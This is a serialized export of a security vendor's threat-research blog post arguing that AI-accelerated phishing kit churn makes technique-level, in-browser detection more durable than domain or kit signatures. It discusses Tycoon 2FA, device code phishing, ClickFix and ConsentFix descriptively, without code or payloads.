accelerating phishing rotation and delivery",{"data":10793,"content":10794,"nodeType":866},{},[10795],{"data":10796,"marks":10797,"value":10798,"nodeType":865},{},[],"Attackers are harnessing AI at every stage, speeding up the process of creating, rotating, and replacing phishing infrastructure at every level, as well as capitalizing on AI adoption itself to enhance their lures. The operational signature is more domains, shorter lifespans, more variation, and fewer of the reuse patterns that blocklists depend on.",{"data":10800,"content":10801,"nodeType":866},{},[10802,10806,10813],{"data":10803,"marks":10804,"value":10805,"nodeType":865},{},[],"Attackers can ",{"data":10807,"content":10808,"nodeType":882},{"uri":3643},[10809],{"data":10810,"marks":10811,"value":10812,"nodeType":865},{},[],"vibe-code entire phishing pages in minutes",{"data":10814,"marks":10815,"value":10816,"nodeType":865},{},[]," — not just cloning legitimate login pages but vibe-cloning them, feeding an AI a screenshot and having it rebuild a convincing frontend with a completely unique backend. ",{"data":10818,"content":10819,"nodeType":866},{},[10820,10824,10832,10836,10842],{"data":10821,"marks":10822,"value":10823,"nodeType":865},{},[],"We've seen attackers clone free SaaS tools like background removers and PDF converters, then inject phishing components or ClickFix payloads into what looks like a functional utility. We’ve even seen attackers distributing malware using AI-generated pages shared using ",{"data":10825,"content":10826,"nodeType":882},{"uri":3135},[10827],{"data":10828,"marks":10829,"value":10831,"nodeType":865},{},[10830],{"type":997},"LLM tool sharing functionality",{"data":10833,"marks":10834,"value":10835,"nodeType":865},{},[],", resulting in phishing delivery pages hosted on real claude.ai and chatgpt.com. And legitimate cloud platforms like ",{"data":10837,"content":10838,"nodeType":882},{"uri":3087},[10839],{"data":10840,"marks":10841,"value":3093,"nodeType":865},{},[],{"data":10843,"marks":10844,"value":10845,"nodeType":865},{},[],", Cloudflare Workers, and Vercel host and dynamically rotate attack infrastructure, so the domains feeding into blocklists often belong to reputable services that can't simply be blocked. ",{"data":10847,"content":10851,"nodeType":925},{"target":10848},{"sys":10849},{"id":10850,"type":922,"linkType":923},"5yoLmqysyQazfzLITCUTfc",[],{"data":10853,"content":10857,"nodeType":925},{"target":10854},{"sys":10855},{"id":10856,"type":922,"linkType":923},"5XK5qZMQU19xlA8L2T5y0Z",[],{"data":10859,"content":10860,"nodeType":1458},{},[10861],{"data":10862,"marks":10863,"value":10865,"nodeType":865},{},[10864],{"type":961},"The kit ecosystem is fragmenting faster than anyone can track",{"data":10867,"content":10868,"nodeType":866},{},[10869],{"data":10870,"marks":10871,"value":10872,"nodeType":865},{},[],"What we see across our install base is a huge and growing variation in phishing kits — new kits, derivative kits of known platforms, derivatives of those derivatives — appearing on a weekly basis.",{"data":10874,"content":10875,"nodeType":866},{},[10876,10880,10887],{"data":10877,"marks":10878,"value":10879,"nodeType":865},{},[],"As we reported in our ",{"data":10881,"content":10882,"nodeType":882},{"uri":5636},[10883],{"data":10884,"marks":10885,"value":10886,"nodeType":865},{},[],"Browser Attacks Report",{"data":10888,"marks":10889,"value":10890,"nodeType":865},{},[],", the most common AiTM kits we detected over the last year were Tycoon 2FA (59% of detections), followed by Sneaky 2FA, FlowerStorm, Evilginx (nominally a red team tool, but widely abused by attackers), NakedPages, Gabagool, and dozens more — but those established names are just the visible layer.",{"data":10892,"content":10893,"nodeType":866},{},[10894,10898,10906,10910,10917],{"data":10895,"marks":10896,"value":10897,"nodeType":865},{},[],"Code is forked, modified, and redeployed across kits in a pattern that ",{"data":10899,"content":10901,"nodeType":882},{"uri":10900},"https://blog.barracuda.com/2026/04/16/threat-spotlight-tycoon-2fa-scattered-everywhere",[10902],{"data":10903,"marks":10904,"value":10905,"nodeType":865},{},[],"resembles open-source development",{"data":10907,"marks":10908,"value":10909,"nodeType":865},{},[]," more than traditional criminal enterprise, and the rate at which new variants appear is accelerating. The ",{"data":10911,"content":10912,"nodeType":882},{"uri":1384},[10913],{"data":10914,"marks":10915,"value":10916,"nodeType":865},{},[],"Venom kit",{"data":10918,"marks":10919,"value":10920,"nodeType":865},{},[]," reuses Sneaky 2FA's AiTM infrastructure but carries different branding and adds device code phishing — whether it's the same developers, stolen code, or a deliberate fork is unclear.",{"data":10922,"content":10923,"nodeType":866},{},[10924,10928,10936,10940,10949],{"data":10925,"marks":10926,"value":10927,"nodeType":865},{},[],"Tycoon 2FA illustrates the scale of the evolution. The kit evolves continuously, addingnew capabilities, new evasion techniques, and hybridizing with other platforms. Even when Sekoia and Microsoft seized 330+ Tycoon domains in March 2026, the techniques it popularized were already embedded across competitors, and the slack was taken up by rival platforms within days. And in any case, Tycoon was back to ",{"data":10929,"content":10931,"nodeType":882},{"uri":10930},"https://www.crowdstrike.com/en-us/blog/tycoon2fa-phishing-as-a-service-platform-persists-following-takedown/",[10932],{"data":10933,"marks":10934,"value":10935,"nodeType":865},{},[],"normal levels of operation",{"data":10937,"marks":10938,"value":10939,"nodeType":865},{},[]," shortly after. It has also been observed ",{"data":10941,"content":10943,"nodeType":882},{"uri":10942},"https://www.okta.com/en-nl/blog/threat-intelligence/tycoon_2fa_phishing_actors_scatter/",[10944],{"data":10945,"marks":10946,"value":10948,"nodeType":865},{},[10947],{"type":997},"pivoting to add new device code phishing capabilities",{"data":10950,"marks":10951,"value":10952,"nodeType":865},{},[]," (more on that below). ",{"data":10954,"content":10955,"nodeType":866},{},[10956],{"data":10957,"marks":10958,"value":10959,"nodeType":865},{},[],"Tear one down and there are many more to take its place — and meanwhile the original is already evolving into something new.",{"data":10961,"content":10965,"nodeType":925},{"target":10962},{"sys":10963},{"id":10964,"type":922,"linkType":923},"3UDzUCCizPJhXp3SsoZuSK",[],{"data":10967,"content":10968,"nodeType":1458},{},[10969],{"data":10970,"marks":10971,"value":10973,"nodeType":865},{},[10972],{"type":961},"New techniques are being industrialized faster than ever",{"data":10975,"content":10976,"nodeType":866},{},[10977],{"data":10978,"marks":10979,"value":10980,"nodeType":865},{},[],"As well as the fragmentation of existing kits, we’re seeing new techniques added at an accelerating rate. ",{"data":10982,"content":10983,"nodeType":866},{},[10984,10988],{"data":10985,"marks":10986,"value":360,"nodeType":865},{},[10987],{"type":961},{"data":10989,"marks":10990,"value":10991,"nodeType":865},{},[]," is the clearest case study. From early nation state adoption in 2024, it took until 2026 for criminal adoption to really take off, but the take-up this year is unprecedented. The EvilTokens kit packaged device code phishing into a PhaaS offering with GPT-powered spear-phishing and adaptive landing pages, hitting 340+ organizations across five countries in March 2026. ",{"data":10993,"content":10994,"nodeType":866},{},[10995],{"data":10996,"marks":10997,"value":10998,"nodeType":865},{},[],"Now, device code functionality is now a core phish kit component. We’re tracking 18+ kits with device code phishing capabilities and a 37.5x increase in device code phishing detections this year alone, with the technique moving from state-sponsored exclusivity to something any PhaaS customer can rent.",{"data":11000,"content":11001,"nodeType":866},{},[11002,11006,11014,11018,11023,11027,11035],{"data":11003,"marks":11004,"value":11005,"nodeType":865},{},[],"Similarly, when we ",{"data":11007,"content":11009,"nodeType":882},{"uri":11008},"https://pushsecurity.com/blog/inside-criminal-phishing-panel",[11010],{"data":11011,"marks":11012,"value":11013,"nodeType":865},{},[],"infiltrated Doko's Panel",{"data":11015,"marks":11016,"value":11017,"nodeType":865},{},[]," — a ",{"data":11019,"marks":11020,"value":11022,"nodeType":865},{},[11021],{"type":961},"real-time vishing and AiTM platform",{"data":11024,"marks":11025,"value":11026,"nodeType":865},{},[]," used by ShinyHunters and affiliated groups — the codebase was full of LLM-generated artifacts. Multiple groups were using the templated vishing panel and spinning up their own variants, but the AI-generated indicators persisted throughout. This approach to real-time vishing + browser payload has been a ",{"data":11028,"content":11029,"nodeType":882},{"uri":4236},[11030],{"data":11031,"marks":11032,"value":11034,"nodeType":865},{},[11033],{"type":997},"mainstay of the Com affiliates like ShinyHunters this year",{"data":11036,"marks":11037,"value":10349,"nodeType":865},{},[],{"data":11039,"content":11043,"nodeType":925},{"target":11040},{"sys":11041},{"id":11042,"type":922,"linkType":923},"01mOiserRBXraawXwQyJNm",[],{"data":11045,"content":11046,"nodeType":866},{},[11047,11051,11055,11059,11068,11072,11080],{"data":11048,"marks":11049,"value":11050,"nodeType":865},{},[],"The broader ",{"data":11052,"marks":11053,"value":315,"nodeType":865},{},[11054],{"type":961},{"data":11056,"marks":11057,"value":11058,"nodeType":865},{},[]," family shows the same acceleration: First reported in early 2024 and adopted by four nation-state groups within a single quarter. Fast forward and ",{"data":11060,"content":11062,"nodeType":882},{"uri":11061},"https://www.crowdstrike.com/en-us/global-threat-report/",[11063],{"data":11064,"marks":11065,"value":11067,"nodeType":865},{},[11066],{"type":997},"CrowdStrike's data",{"data":11069,"marks":11070,"value":11071,"nodeType":865},{},[]," shows a 563% increase in fake CAPTCHA incidents (one of the more common ClickFix lure types), while ",{"data":11073,"content":11074,"nodeType":882},{"uri":10494},[11075],{"data":11076,"marks":11077,"value":11079,"nodeType":865},{},[11078],{"type":997},"Microsoft reported",{"data":11081,"marks":11082,"value":11083,"nodeType":865},{},[]," it as making up 47% of observed attacks according to their Digital Defense Report.",{"data":11085,"content":11086,"nodeType":866},{},[11087,11091,11096,11100,11108,11112,11119],{"data":11088,"marks":11089,"value":11090,"nodeType":865},{},[],"And ",{"data":11092,"marks":11093,"value":11095,"nodeType":865},{},[11094],{"type":961},"ConsentFix",{"data":11097,"marks":11098,"value":11099,"nodeType":865},{},[]," — a combination of ClickFix and OAuth consent phishing techniques — suggests the next compression is already underway. Push researchers ",{"data":11101,"content":11103,"nodeType":882},{"uri":11102},"https://pushsecurity.com/blog/consentfix/",[11104],{"data":11105,"marks":11106,"value":11107,"nodeType":865},{},[],"discovered the technique",{"data":11109,"marks":11110,"value":11111,"nodeType":865},{},[]," in December 2025 — a browser-native ClickFix variant hijacking OAuth consent grants via Azure CLI's localhost redirect. It was later confirmed to be tied to APT29. By January 2026, a ",{"data":11113,"content":11114,"nodeType":882},{"uri":3009},[11115],{"data":11116,"marks":11117,"value":11118,"nodeType":865},{},[],"criminal ConsentFix v3 toolkit",{"data":11120,"marks":11121,"value":11122,"nodeType":865},{},[]," had appeared on the XSS forum with Cloudflare Workers, ZoomInfo targeting, and automated exfiltration via Pipedream.",{"data":11124,"content":11128,"nodeType":925},{"target":11125},{"sys":11126},{"id":11127,"type":922,"linkType":923},"41FMif4T0y1maflzonWgL8",[],{"data":11130,"content":11131,"nodeType":953},{},[],{"data":11133,"content":11134,"nodeType":963},{},[11135],{"data":11136,"marks":11137,"value":11139,"nodeType":865},{},[11138],{"type":961},"Why technique-level detection is the only layer that holds",{"data":11141,"content":11142,"nodeType":866},{},[11143],{"data":11144,"marks":11145,"value":11146,"nodeType":865},{},[],"The middle of the Pyramid — tool signatures and artifacts — used to offer much more durable detection than infrastructure indicators. Fingerprinting a specific phishing kit by its JavaScript structure or HTML patterns provided a detection target that survived across dozens or hundreds of campaigns, even as the underlying domains rotated. Tool level detections are still better, but not by quite the same margin.",{"data":11148,"content":11152,"nodeType":925},{"target":11149},{"sys":11150},{"id":11151,"type":922,"linkType":923},"5pxaYdCIFiFKLPhRaPoldX",[],{"data":11154,"content":11155,"nodeType":866},{},[11156],{"data":11157,"marks":11158,"value":11159,"nodeType":865},{},[],"When the kit landscape was dominated by a handful of platforms, you could write signatures for Tycoon, Sneaky2FA, EvilProxy, and so on, and cover the lion's share of attacks. With the ecosystem now producing new variants and entirely new kits on a weekly basis, detecting by kit fingerprint starts to look uncomfortably similar to detecting by domain.",{"data":11161,"content":11162,"nodeType":866},{},[11163],{"data":11164,"marks":11165,"value":11166,"nodeType":865},{},[],"But many of these proliferating kits do share behavioral patterns at a deeper level than their code signatures. For example, every device code phishing kit implements fundamentally the same flow: present a lure, generate a device code via the OAuth Device Authorization endpoint, get the user to enter it on the legitimate authorization page, and poll for the resulting tokens. The frontends vary, the infrastructure varies, but the behavioral pattern doesn't.",{"data":11168,"content":11172,"nodeType":925},{"target":11169},{"sys":11170},{"id":11171,"type":922,"linkType":923},"FyyHayQtsJTwoB1kluMOl",[],{"data":11174,"content":11175,"nodeType":866},{},[11176],{"data":11177,"marks":11178,"value":11179,"nodeType":865},{},[],"Genuinely new attack techniques still require human creativity — an attacker has to identify a gap in how a legitimate protocol or feature can be subverted. That kind of innovation hasn't been automated. But the window to discover a technique, build a detection, and then deploy it before it is adopted by criminals at scale is compressing with each generation.",{"data":11181,"content":11182,"nodeType":866},{},[11183],{"data":11184,"marks":11185,"value":11186,"nodeType":865},{},[],"Organizations that detect at the technique level and deploy before commoditization have a structural advantage that increases over time. Waiting for indicators — even tool-level indicators — means chasing a curve that's accelerating away from you. This is the challenge we grapple with every day as we strive for the most resilient detections possible. ",{"data":11188,"content":11189,"nodeType":11214},{},[11190],{"data":11191,"content":11192,"nodeType":866},{},[11193,11197,11205,11209],{"data":11194,"marks":11195,"value":11196,"nodeType":865},{},[],"As our CPO Jacques Louw put it on ",{"data":11198,"content":11200,"nodeType":882},{"uri":11199},"https://risky.biz/RBNEWSSI128/",[11201],{"data":11202,"marks":11203,"value":11204,"nodeType":865},{},[],"Risky Business",{"data":11206,"marks":11207,"value":11208,"nodeType":865},{},[],": ",{"data":11210,"marks":11211,"value":11213,"nodeType":865},{},[11212],{"type":944},"\"There's no list of bad domains anywhere in the product. It's a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain.\"","blockquote",{"data":11216,"content":11217,"nodeType":953},{},[],{"data":11219,"content":11220,"nodeType":963},{},[11221],{"data":11222,"marks":11223,"value":11225,"nodeType":865},{},[11224],{"type":961},"What it takes to detect at the top of the Pyramid",{"data":11227,"content":11228,"nodeType":866},{},[11229],{"data":11230,"marks":11231,"value":11232,"nodeType":865},{},[],"If technique-level detection is the only layer that holds, two things have to be true about your detection capability: You need the right vantage point, and you need the research velocity to stay ahead.",{"data":11234,"content":11235,"nodeType":1458},{},[11236],{"data":11237,"marks":11238,"value":11240,"nodeType":865},{},[11239],{"type":961},"You need the right vantage point",{"data":11242,"content":11243,"nodeType":866},{},[11244],{"data":11245,"marks":11246,"value":11247,"nodeType":865},{},[],"Technique-level behaviors in browser-based identity attacks — how a phishing page orchestrates credential entry, how a device code flow presents its authorization prompt, how a ClickFix variant manipulates the clipboard — are visible in the browser session and nowhere else.",{"data":11249,"content":11250,"nodeType":866},{},[11251],{"data":11252,"marks":11253,"value":11254,"nodeType":865},{},[],"Network proxies see encrypted traffic and can attempt to reconstruct page behavior from metadata, but DOM manipulation, user interaction sequences, and script execution aren't visible from that vantage point. Email gateways see the delivery mechanism (or nothing at all in the increasing number of social media and search engine based attacks) but not the payload.",{"data":11256,"content":11257,"nodeType":866},{},[11258,11262,11270],{"data":11259,"marks":11260,"value":11261,"nodeType":865},{},[],"As we disclosed in our ",{"data":11263,"content":11264,"nodeType":882},{"uri":5636},[11265],{"data":11266,"marks":11267,"value":11269,"nodeType":865},{},[11268],{"type":997},"browser attacks report",{"data":11271,"marks":11272,"value":11273,"nodeType":865},{},[],", 95% of in-browser attacks we detect use some form of bot protection, often combined with conditional loading techniques like referrer and browser checks, reliably defeating automated analysis techniques. ",{"data":11275,"content":11276,"nodeType":866},{},[11277],{"data":11278,"marks":11279,"value":11280,"nodeType":865},{},[],"Behavioral detection at the technique level requires observing what happens on the page at the moment the user interacts with it — analyzing pages, not links. When you see the entire browsing flow — ad click, redirect chain, page render, credential prompt — an attack stands out immediately. Without that context, any detection system is forced to fill in gaps, and the gaps are where attacks hide.",{"data":11282,"content":11286,"nodeType":925},{"target":11283},{"sys":11284},{"id":11285,"type":922,"linkType":923},"4804g6u4POUDpL42bzP0EY",[],{"data":11288,"content":11289,"nodeType":866},{},[11290],{"data":11291,"marks":11292,"value":11293,"nodeType":865},{},[],"Push sits inside the browser session, observing this in real time. Its detections target the behavioral mechanics of techniques rather than the surface characteristics of individual kits or infrastructure.",{"data":11295,"content":11296,"nodeType":1458},{},[11297],{"data":11298,"marks":11299,"value":11301,"nodeType":865},{},[11300],{"type":961},"You need the research expertise",{"data":11303,"content":11304,"nodeType":866},{},[11305],{"data":11306,"marks":11307,"value":11308,"nodeType":865},{},[],"When the window between technique discovery and industrialized exploitation is measured in weeks rather than years, the detection pipeline needs to operate on that same compressed timescale.",{"data":11310,"content":11311,"nodeType":866},{},[11312,11316,11322],{"data":11313,"marks":11314,"value":11315,"nodeType":865},{},[],"This is where our ",{"data":11317,"content":11318,"nodeType":882},{"uri":3643},[11319],{"data":11320,"marks":11321,"value":9005,"nodeType":865},{},[],{"data":11323,"marks":11324,"value":11325,"nodeType":865},{},[]," fits. It's tripled our monthly detection output — not by generating bigger blocklists, but by scaling the process of discovering behavioral patterns across the telemetry generated by 3+ million browser deployments.",{"data":11327,"content":11328,"nodeType":866},{},[11329],{"data":11330,"marks":11331,"value":11332,"nodeType":865},{},[],"The detections it produces are technique-class by design, targeting how attacks work rather than the infrastructure or specific tool that implements them. The goal is curation, not accumulation — hundreds of high-fidelity behavioral detections rather than the billions of signatures and domain entries that traditional approaches require.",{"data":11334,"content":11335,"nodeType":866},{},[11336,11340,11348],{"data":11337,"marks":11338,"value":11339,"nodeType":865},{},[],"When we detected the first in-the-wild ",{"data":11341,"content":11343,"nodeType":882},{"uri":11342},"https://pushsecurity.com/blog/installfix/",[11344],{"data":11345,"marks":11346,"value":11347,"nodeType":865},{},[],"InstallFix attack",{"data":11349,"marks":11350,"value":11351,"nodeType":865},{},[]," through the pipeline — a user had searched for NotebookLM, clicked a paid Google ad, and was redirected to a fake page with a WebAssembly C2 connector — the detection shipped to all customers within minutes. It didn't depend on knowing the domain, the ad creative, or the specific kit. It depended on recognizing the technique itself.",{"data":11353,"content":11354,"nodeType":953},{},[],{"data":11356,"content":11357,"nodeType":963},{},[11358],{"data":11359,"marks":11360,"value":11362,"nodeType":865},{},[11361],{"type":961},"Technique-level detection is now the only option",{"data":11364,"content":11365,"nodeType":866},{},[11366],{"data":11367,"marks":11368,"value":11369,"nodeType":865},{},[],"As a framework for detection durability, the Pyramid of Pain is more relevant than ever. ",{"data":11371,"content":11372,"nodeType":866},{},[11373],{"data":11374,"marks":11375,"value":11376,"nodeType":865},{},[],"AI has made infrastructure indicators essentially disposable. The tools tier is compressing as criminal vendors vibe-code, fork, and clone tooling at machine speed. Technique-level detection is the layer that holds long-term to be able to proactively detect and block net-new attacks and the kits that power them. ",{"data":11378,"content":11379,"nodeType":866},{},[11380],{"data":11381,"marks":11382,"value":11383,"nodeType":865},{},[],"Novel attack techniques still require human creativity to discover, and detections built around how those techniques work can survive infrastructure rotation, tool proliferation, and kit fragmentation. Defending that layer requires a vantage point inside the browser session and a research pipeline fast enough to stay ahead of the accelerating path from discovery to industrialization.",{"data":11385,"content":11386,"nodeType":953},{},[],{"data":11388,"content":11389,"nodeType":866},{},[11390],{"data":11391,"marks":11392,"value":2792,"nodeType":865},{},[],{"data":11394,"content":11395,"nodeType":866},{},[11396],{"data":11397,"marks":11398,"value":1718,"nodeType":865},{},[],{"data":11400,"content":11401,"nodeType":866},{},[11402,11405,11412],{"data":11403,"marks":11404,"value":21,"nodeType":865},{},[],{"data":11406,"content":11407,"nodeType":882},{"uri":1728},[11408],{"data":11409,"marks":11410,"value":10641,"nodeType":865},{},[11411],{"type":997},{"data":11413,"marks":11414,"value":1738,"nodeType":865},{},[],"The Pyramid of Pain in the AI era: Why technique-level detection matters more than ever","AI is accelerating the collapse of indicator-based threat detection. Here's why you need technique-level detection to stay ahead.","2026-06-01T00:00:00.000Z","the-pyramid-of-pain-in-the-ai-era",{"items":11420},[11421,11423],{"sys":11422,"name":342},{"id":8410},{"sys":11424,"name":11426},{"id":11425},"6A5RXS31ZQx3PwryGb1IMy","Browser-based attacks",{"items":11428},[11429],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":11433},"Dan Green","Dan","Threat Research",{"url":11434},"https://images.ctfassets.net/y1cdw1ablpvd/7jik1VhFgA3kgzXBXTm2Vw/fcd8c171da644903d0827eafcfbcaad0/Dan_Headshot_2025.png","why-modern-browser-attacks-evade-edr","blog/why-modern-browser-attacks-evade-edr",{"json":11438},{"data":11439,"content":11440,"nodeType":1739},{},[11441],{"data":11442,"content":11443,"nodeType":866},{},[11444],{"data":11445,"marks":11446,"value":11447,"nodeType":865},{},[],"This article explains why the gap between what EDR sees and what happens inside the browser is exactly where attackers have built their playbook, and what it takes to close it.","This article explains the gap between what EDR sees and what happens inside the browser, and what it takes to close it.",{"id":11450,"publishedAt":11451},"3qMmscyEh3T1Mbf8qXQHmd","2026-08-12T12:00:46.858Z",{"items":11453},[11454,11456],{"sys":11455,"name":11426},{"id":11425},{"sys":11457,"name":297},{"id":2828},{"items":11459},[11460,11462,11464,11466,11468,11470,11472,11474,11476,11478,11480,11482,11484,11486,11488],{"sys":11461,"name":279,"slug":280,"tier":31},{"id":276},{"sys":11463,"name":297,"slug":298,"tier":31},{"id":294},{"sys":11465,"name":342,"slug":343,"tier":31},{"id":339},{"sys":11467,"name":413,"slug":414,"tier":31},{"id":410},{"sys":11469,"name":377,"slug":378,"tier":45},{"id":374},{"sys":11471,"name":261,"slug":262,"tier":45},{"id":258},{"sys":11473,"name":571,"slug":572,"tier":45},{"id":568},{"sys":11475,"name":315,"slug":316,"tier":45},{"id":312},{"sys":11477,"name":511,"slug":512,"tier":45},{"id":508},{"sys":11479,"name":360,"slug":361,"tier":45},{"id":357},{"sys":11481,"name":324,"slug":325,"tier":45},{"id":321},{"sys":11483,"name":475,"slug":476,"tier":45},{"id":472},{"sys":11485,"name":484,"slug":485,"tier":45},{"id":481},{"sys":11487,"name":244,"slug":245,"tier":45},{"id":241},{"sys":11489,"name":422,"slug":423,"tier":45},{"id":419},"tohekhxoD8wEmdq6HhALjxFwORVgBY5wCOC_F3fg4ag",{"id":11492,"title":3762,"authorsCollection":11493,"content":11497,"extension":228,"faqItemsCollection":12457,"faqTitle":59,"featured":6,"hashTags":59,"meta":12459,"metaTitle":12460,"ogImage":59,"postType":1783,"publishedDate":2818,"relatedBlogPostsCollection":12461,"slug":3764,"stem":14591,"subtitle":14592,"summary":14593,"synopsis":3763,"sys":14603,"tagsCollection":14605,"topicsCollection":14611,"__hash__":14651},"blog/blog/why-you-cant-control-ai-without-being-in-the-browser.json",{"items":11494},[11495],{"fullName":3774,"firstName":3775,"jobTitle":3776,"socialLinks":59,"profilePicture":11496},{"url":3778},{"json":11498,"links":12285},{"data":11499,"content":11500,"nodeType":1739},{},[11501,11507,11513,11530,11536,11542,11545,11552,11558,11564,11585,11591,11597,11602,11605,11612,11618,11623,11629,11636,11662,11677,11682,11689,11695,11700,11716,11723,11729,11754,11759,11772,11775,11782,11788,11793,11807,11813,11819,11829,11845,11851,11857,11864,11870,11886,11891,11897,11902,11907,11910,11917,11923,11929,11984,11990,11996,12002,12008,12021,12027,12033,12039,12045,12051,12057,12063,12069,12075,12081,12087,12093,12099,12102,12109,12115,12125,12131,12137,12143,12149,12255,12261,12266,12269],{"data":11502,"content":11503,"nodeType":866},{},[11504],{"data":11505,"marks":11506,"value":2850,"nodeType":865},{},[],{"data":11508,"content":11509,"nodeType":866},{},[11510],{"data":11511,"marks":11512,"value":2857,"nodeType":865},{},[],{"data":11514,"content":11515,"nodeType":866},{},[11516,11520,11523,11527],{"data":11517,"marks":11518,"value":2865,"nodeType":865},{},[11519],{"type":961},{"data":11521,"marks":11522,"value":2869,"nodeType":865},{},[],{"data":11524,"marks":11525,"value":2874,"nodeType":865},{},[11526],{"type":944},{"data":11528,"marks":11529,"value":2878,"nodeType":865},{},[],{"data":11531,"content":11532,"nodeType":866},{},[11533],{"data":11534,"marks":11535,"value":2885,"nodeType":865},{},[],{"data":11537,"content":11538,"nodeType":866},{},[11539],{"data":11540,"marks":11541,"value":2892,"nodeType":865},{},[],{"data":11543,"content":11544,"nodeType":953},{},[],{"data":11546,"content":11547,"nodeType":963},{},[11548],{"data":11549,"marks":11550,"value":2903,"nodeType":865},{},[11551],{"type":961},{"data":11553,"content":11554,"nodeType":866},{},[11555],{"data":11556,"marks":11557,"value":2910,"nodeType":865},{},[],{"data":11559,"content":11560,"nodeType":866},{},[11561],{"data":11562,"marks":11563,"value":2917,"nodeType":865},{},[],{"data":11565,"content":11566,"nodeType":1049},{},[11567,11576],{"data":11568,"content":11569,"nodeType":1003},{},[11570],{"data":11571,"content":11572,"nodeType":866},{},[11573],{"data":11574,"marks":11575,"value":2930,"nodeType":865},{},[],{"data":11577,"content":11578,"nodeType":1003},{},[11579],{"data":11580,"content":11581,"nodeType":866},{},[11582],{"data":11583,"marks":11584,"value":2940,"nodeType":865},{},[],{"data":11586,"content":11587,"nodeType":866},{},[11588],{"data":11589,"marks":11590,"value":2947,"nodeType":865},{},[],{"data":11592,"content":11593,"nodeType":866},{},[11594],{"data":11595,"marks":11596,"value":2954,"nodeType":865},{},[],{"data":11598,"content":11601,"nodeType":925},{"target":11599},{"sys":11600},{"id":2959,"type":922,"linkType":923},[],{"data":11603,"content":11604,"nodeType":953},{},[],{"data":11606,"content":11607,"nodeType":963},{},[11608],{"data":11609,"marks":11610,"value":2971,"nodeType":865},{},[11611],{"type":961},{"data":11613,"content":11614,"nodeType":866},{},[11615],{"data":11616,"marks":11617,"value":2978,"nodeType":865},{},[],{"data":11619,"content":11622,"nodeType":925},{"target":11620},{"sys":11621},{"id":2983,"type":922,"linkType":923},[],{"data":11624,"content":11625,"nodeType":866},{},[11626],{"data":11627,"marks":11628,"value":2991,"nodeType":865},{},[],{"data":11630,"content":11631,"nodeType":1458},{},[11632],{"data":11633,"marks":11634,"value":2999,"nodeType":865},{},[11635],{"type":961},{"data":11637,"content":11638,"nodeType":866},{},[11639,11642,11649,11652,11659],{"data":11640,"marks":11641,"value":3006,"nodeType":865},{},[],{"data":11643,"content":11644,"nodeType":882},{"uri":3009},[11645],{"data":11646,"marks":11647,"value":3015,"nodeType":865},{},[11648],{"type":997},{"data":11650,"marks":11651,"value":3019,"nodeType":865},{},[],{"data":11653,"content":11654,"nodeType":882},{"uri":1384},[11655],{"data":11656,"marks":11657,"value":3027,"nodeType":865},{},[11658],{"type":997},{"data":11660,"marks":11661,"value":3031,"nodeType":865},{},[],{"data":11663,"content":11664,"nodeType":866},{},[11665,11668,11674],{"data":11666,"marks":11667,"value":3038,"nodeType":865},{},[],{"data":11669,"content":11670,"nodeType":882},{"uri":3041},[11671],{"data":11672,"marks":11673,"value":3046,"nodeType":865},{},[],{"data":11675,"marks":11676,"value":3050,"nodeType":865},{},[],{"data":11678,"content":11681,"nodeType":925},{"target":11679},{"sys":11680},{"id":3055,"type":922,"linkType":923},[],{"data":11683,"content":11684,"nodeType":1458},{},[11685],{"data":11686,"marks":11687,"value":3064,"nodeType":865},{},[11688],{"type":961},{"data":11690,"content":11691,"nodeType":866},{},[11692],{"data":11693,"marks":11694,"value":3071,"nodeType":865},{},[],{"data":11696,"content":11699,"nodeType":925},{"target":11697},{"sys":11698},{"id":3076,"type":922,"linkType":923},[],{"data":11701,"content":11702,"nodeType":866},{},[11703,11706,11713],{"data":11704,"marks":11705,"value":3084,"nodeType":865},{},[],{"data":11707,"content":11708,"nodeType":882},{"uri":3087},[11709],{"data":11710,"marks":11711,"value":3093,"nodeType":865},{},[11712],{"type":997},{"data":11714,"marks":11715,"value":3097,"nodeType":865},{},[],{"data":11717,"content":11718,"nodeType":1458},{},[11719],{"data":11720,"marks":11721,"value":3105,"nodeType":865},{},[11722],{"type":961},{"data":11724,"content":11725,"nodeType":866},{},[11726],{"data":11727,"marks":11728,"value":3112,"nodeType":865},{},[],{"data":11730,"content":11731,"nodeType":866},{},[11732,11735,11742,11745,11751],{"data":11733,"marks":11734,"value":3119,"nodeType":865},{},[],{"data":11736,"content":11737,"nodeType":882},{"uri":3122},[11738],{"data":11739,"marks":11740,"value":3128,"nodeType":865},{},[11741],{"type":997},{"data":11743,"marks":11744,"value":3132,"nodeType":865},{},[],{"data":11746,"content":11747,"nodeType":882},{"uri":3135},[11748],{"data":11749,"marks":11750,"value":3140,"nodeType":865},{},[],{"data":11752,"marks":11753,"value":3144,"nodeType":865},{},[],{"data":11755,"content":11758,"nodeType":925},{"target":11756},{"sys":11757},{"id":3149,"type":922,"linkType":923},[],{"data":11760,"content":11761,"nodeType":866},{},[11762,11765,11769],{"data":11763,"marks":11764,"value":3157,"nodeType":865},{},[],{"data":11766,"marks":11767,"value":3162,"nodeType":865},{},[11768],{"type":961},{"data":11770,"marks":11771,"value":1048,"nodeType":865},{},[],{"data":11773,"content":11774,"nodeType":953},{},[],{"data":11776,"content":11777,"nodeType":963},{},[11778],{"data":11779,"marks":11780,"value":3176,"nodeType":865},{},[11781],{"type":961},{"data":11783,"content":11784,"nodeType":866},{},[11785],{"data":11786,"marks":11787,"value":3183,"nodeType":865},{},[],{"data":11789,"content":11792,"nodeType":925},{"target":11790},{"sys":11791},{"id":921,"type":922,"linkType":923},[],{"data":11794,"content":11795,"nodeType":1458},{},[11796,11800,11803],{"data":11797,"marks":11798,"value":3196,"nodeType":865},{},[11799],{"type":961},{"data":11801,"marks":11802,"value":2157,"nodeType":865},{},[],{"data":11804,"marks":11805,"value":3204,"nodeType":865},{},[11806],{"type":961},{"data":11808,"content":11809,"nodeType":866},{},[11810],{"data":11811,"marks":11812,"value":3211,"nodeType":865},{},[],{"data":11814,"content":11815,"nodeType":866},{},[11816],{"data":11817,"marks":11818,"value":3218,"nodeType":865},{},[],{"data":11820,"content":11821,"nodeType":1458},{},[11822,11826],{"data":11823,"marks":11824,"value":3226,"nodeType":865},{},[11825],{"type":961},{"data":11827,"marks":11828,"value":3230,"nodeType":865},{},[],{"data":11830,"content":11831,"nodeType":866},{},[11832,11835,11842],{"data":11833,"marks":11834,"value":3237,"nodeType":865},{},[],{"data":11836,"content":11837,"nodeType":882},{"uri":3240},[11838],{"data":11839,"marks":11840,"value":3246,"nodeType":865},{},[11841],{"type":997},{"dat